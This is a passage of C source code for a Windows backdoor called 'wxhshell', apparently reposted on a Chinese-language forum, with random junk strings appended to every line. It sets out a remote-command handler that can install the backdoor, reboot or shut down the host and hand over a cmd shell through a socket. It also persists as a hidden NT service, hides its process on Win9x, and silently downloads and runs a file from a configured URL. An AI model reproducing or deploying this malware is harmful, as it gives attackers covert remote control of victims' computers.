  case '?': { x78`dX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *UVo>;  
    break; [=[>1<L>  
  } 59;p|  
  // 安装 ]Z?y\L*M-  
  case 'i': { X!,2/WT  
    if(Install()) roDE?7x1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0drt,k  
    else M<R3JzT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _yi`relcq-  
    break; h\#\hx  
    } Y[l*>}:w  
  // 卸载 WdEVT,jjh  
  case 'r': { 7JvBzD42  
    if(Uninstall()) %l4LX~-:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kcg{z8cd'r  
    else 1 PL2[_2:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w\o?p.drp=  
    break; )YE3n-~7{  
    } P;7JK=~k  
  // 显示 wxhshell 所在路径 q#RUL!WF7U  
  case 'p': { uURm6mVt9:  
    char svExeFile[MAX_PATH]; c]SXcA;Pmv  
    strcpy(svExeFile,"\n\r"); z>rl7&[@  
      strcat(svExeFile,ExeFile); =P}ob eY  
        send(wsh,svExeFile,strlen(svExeFile),0); $l05VZ  
    break; 9Z.Xo kg  
    } 7>#?-, B  
  // 重启 ZG29q>  
  case 'b': { wldv^n hM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >yr:L{{D}G  
    if(Boot(REBOOT)) } + ]A?'&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HjCWsQM  
    else { km@V|"ac _  
    closesocket(wsh); vS#Y,H:yAj  
    ExitThread(0); S{HAFrkm7  
    } 0wM2v[^YO  
    break; c2Q KI~\x  
    } q~esxp  
  // 关机 Ass :  
  case 'd': { 2a=3->D&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); us j:I`>  
    if(Boot(SHUTDOWN)) >Q5et1c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?VUU[h8"v5  
    else { e"7<&% Oq  
    closesocket(wsh); T_\Nvzb}  
    ExitThread(0); ;gS)o#v0  
    } YfRjr  
    break; t1Ty.F)r  
    } nHAET  
  // 获取shell eh\_;2P  
  case 's': { S#h-X(4  
    CmdShell(wsh); ~ _ ogeD  
    closesocket(wsh); 2/XrorV  
    ExitThread(0); b 6kDkE  
    break; s7(NFX5  
  } \wMqVRPoQ  
  // 退出 6T"4<w[  
  case 'x': { ``X1xiB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z$64Ep#  
    CloseIt(wsh); +D7>$&BD  
    break; x*H,eY3  
    } * {avx  
  // 离开 8 5 L<  
  case 'q': { GkwdBy+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /!7    
    closesocket(wsh); b suGZ  
    WSACleanup(); z) :LF<  
    exit(1); |7Dc7p"D  
    break; QZwUv<*  
        } rra|}l4Y  
  } EM2=g9y  
  } #VM+.75o1  
qQ&=Z` p!  
  // 提示信息 6d7E@}<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 58[=.rzD  
} 4d x4hBd  
  } ]|m?pt  
xDqJsp=]-  
  return; M `O=rH }  
} qLjLfJJ2  
u-s*3Lg&  
// shell模块句柄 k|hy_? *  
int CmdShell(SOCKET sock) PHAM(iC&D  
{ Dj9 v9  
STARTUPINFO si; D02'P{  
ZeroMemory(&si,sizeof(si)); YCPU84f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aB_~V h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2ezk<R5q+  
PROCESS_INFORMATION ProcessInfo; *XUJv&ZN  
char cmdline[]="cmd"; ^;8dl.;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); et`1#_o  
  return 0; HNUpgNi  
} i'cGB5-j  
]EN+^i1F[  
// 自身启动模式 "]SA4Ud^  
int StartFromService(void) rF^H\U:w  
{ .8%&K0  
typedef struct r+Pfq[z&  
{ R|m!*B~  
  DWORD ExitStatus; ;S_Imf0$v  
  DWORD PebBaseAddress; 2y"L&3W  
  DWORD AffinityMask; ] /"!J6(e  
  DWORD BasePriority; *P01 yW0  
  ULONG UniqueProcessId; Yt!o Hn  
  ULONG InheritedFromUniqueProcessId; :Bh7mF-1  
}   PROCESS_BASIC_INFORMATION; &gLXS1O  
9kzJ5}  
PROCNTQSIP NtQueryInformationProcess; V3S"LJ  
uQhI)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `uwSxt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1b=,lm  
49o/S2b4z  
  HANDLE             hProcess; ul-O3]\'@  
  PROCESS_BASIC_INFORMATION pbi; /$\N_`bM  
/Moyn"Kj{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v)j3YhY  
  if(NULL == hInst ) return 0; H'"=C&D~  
`_iK`^(-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >qy$W4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j'uzjs[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]\1H=g%Ou  
lNLa:j  
  if (!NtQueryInformationProcess) return 0; og?L 9  
M7fPaJKL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IKrojK8-?  
  if(!hProcess) return 0; Y1wH_!%b  
%ONU0xtqk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pzT,fmfk  
s?JOGu  
  CloseHandle(hProcess); L9]y~[R:  
%N #A1   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1f+z[ad&^  
if(hProcess==NULL) return 0; no$X0ia  
^\oMsU5(  
HMODULE hMod; &s8vmUt  
char procName[255]; D!DL6l`  
unsigned long cbNeeded; 3o2x&v  
kmg/hNtN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \IhHbcF`d  
;uho.)%N`F  
  CloseHandle(hProcess); wii.0~p  
YJ !jdE}  
if(strstr(procName,"services")) return 1; // 以服务启动 F Jp<J  
7\AoMk}  
  return 0; // 注册表启动 m;J'y2h =$  
} yRivf.wH  
ok1w4#%,  
// 主模块 \;+TZ1i_  
int StartWxhshell(LPSTR lpCmdLine) 0}` 0!Kv  
{ WR9-HPF  
  SOCKET wsl; }vb.>hy  
BOOL val=TRUE; z%;_h-  
  int port=0; lMmP]{.>$  
  struct sockaddr_in door; 7/HX!y{WP  
2c'<rkA  
  if(wscfg.ws_autoins) Install(); *&z !y/  
RGLJaEl !  
port=atoi(lpCmdLine); s$ kvLy<  
qL?$u07<9'  
if(port<=0) port=wscfg.ws_port; FMtg7+Q|>  
sk5B} -  
  WSADATA data; zWrynJ}s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L0R$T=~%)  
9JqT"zj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]*X z~Ox2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #h#_xh'  
  door.sin_family = AF_INET; ?@^gpVK{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Byh!Snoe  
  door.sin_port = htons(port); gL &)l!2Y  
 e**5_L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _Qq lOc9  
closesocket(wsl); q26 qY5D  
return 1; u"F{cA!B  
} w0O(>  
_&M^}||UH  
  if(listen(wsl,2) == INVALID_SOCKET) { !TN)6e7`  
closesocket(wsl); U J uz  
return 1; ezA&cZ5  
} DFb hy  
  Wxhshell(wsl); sVH w\_F$  
  WSACleanup(); \.?' y71  
.IsOU  
return 0; y J>Bc  
g'9~T8i& ^  
} v=daafO  
,=[r6k<  
// 以NT服务方式启动 ?jsgBol  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JF'<""  
{ PB)vE  
DWORD   status = 0; E_0i9  
  DWORD   specificError = 0xfffffff; ~i]4~bkH2  
s w50lId  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e35")z~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %NcBq3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; braI MIQ`  
  serviceStatus.dwWin32ExitCode     = 0; FzF#V=9lP  
  serviceStatus.dwServiceSpecificExitCode = 0; dpT?*qLM  
  serviceStatus.dwCheckPoint       = 0; LlD=c  
  serviceStatus.dwWaitHint       = 0; w3;T]R*  
|+Xh ^E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !/]z-z2>  
  if (hServiceStatusHandle==0) return; y"iK)SH  
94?/Rhs5  
status = GetLastError(); h(i_'P?  
  if (status!=NO_ERROR) S3Fj /2Q8  
{ s~A:*2\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F5+!Gb En  
    serviceStatus.dwCheckPoint       = 0; +1K= ]#a  
    serviceStatus.dwWaitHint       = 0; !FQS9SoO9  
    serviceStatus.dwWin32ExitCode     = status; O' Mma5  
    serviceStatus.dwServiceSpecificExitCode = specificError; @P">4xVX{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z"*3p8N  
    return; u63Q<P<  
  } As??_=>4  
W]D+[mpgK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `69xR[f  
  serviceStatus.dwCheckPoint       = 0; u~!Pzz3"  
  serviceStatus.dwWaitHint       = 0; mj ,Oy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zpy&\#Vc  
} }vZTiuzC  
KDr)'gl&  
// 处理NT服务事件,比如:启动、停止 V$ho9gQ!l[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k;<F33v;Mh  
{ xv7nChB  
switch(fdwControl) XvZ5Q  
{ R8|F qBs  
case SERVICE_CONTROL_STOP: Yez  
  serviceStatus.dwWin32ExitCode = 0; FX+^S?x.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -h2 1  
  serviceStatus.dwCheckPoint   = 0; qxHsmGV  
  serviceStatus.dwWaitHint     = 0; -3SRGr  
  { ;I>77gi`]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d 1 O+qS  
  } :eBp`dmn  
  return; \wp8kSzC  
case SERVICE_CONTROL_PAUSE: }7i}dyQv}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k~]\kv=  
  break; 3 =_to7]  
case SERVICE_CONTROL_CONTINUE: [bEm D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0C717  
  break; rUmnv%qTS  
case SERVICE_CONTROL_INTERROGATE: MNX-D0`g  
  break; _:Ov-HIR  
}; 0Hr)h{!F"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oe0dC9H  
} (Li)@Cn%  
UO' X"`  
// 标准应用程序主函数 3ZqtIQY`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <7oZV^nd *  
{ 8u Z4[  
C7!=LiK}  
// 获取操作系统版本 ;z o?o t/  
OsIsNt=GetOsVer(); HqA3.<=F,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?e23[  
h}%yG{'/M=  
  // 从命令行安装 ; zfBe%Uf  
  if(strpbrk(lpCmdLine,"iI")) Install(); .-: 6L2  
d-"[-+)-  
  // 下载执行文件 u &{|f  
if(wscfg.ws_downexe) { %/wfYRp*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9z(h8H  
  WinExec(wscfg.ws_filenam,SW_HIDE); m A|"  
} tHo/Vly6Z  
(z'!'?v;  
if(!OsIsNt) { @"`{Sh`Y$  
// 如果时win9x,隐藏进程并且设置为注册表启动 hF-X8$[  
HideProc(); v?h8-yed  
StartWxhshell(lpCmdLine); (<#Ns W!z  
} I`}x9t  
else ~wd~57i@  
  if(StartFromService()) R(HW0@R@w  
  // 以服务方式启动 po+ 1  
  StartServiceCtrlDispatcher(DispatchTable); |y2cI,&   
else !n5s/"'H  
  // 普通方式启动 wq3V&@.  
  StartWxhshell(lpCmdLine); 0'Qo eFKG  
2 Xc,c*r  
return 0; qzu%Pp6If  
}
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只看该作者 1 发表于: 2006-10-10
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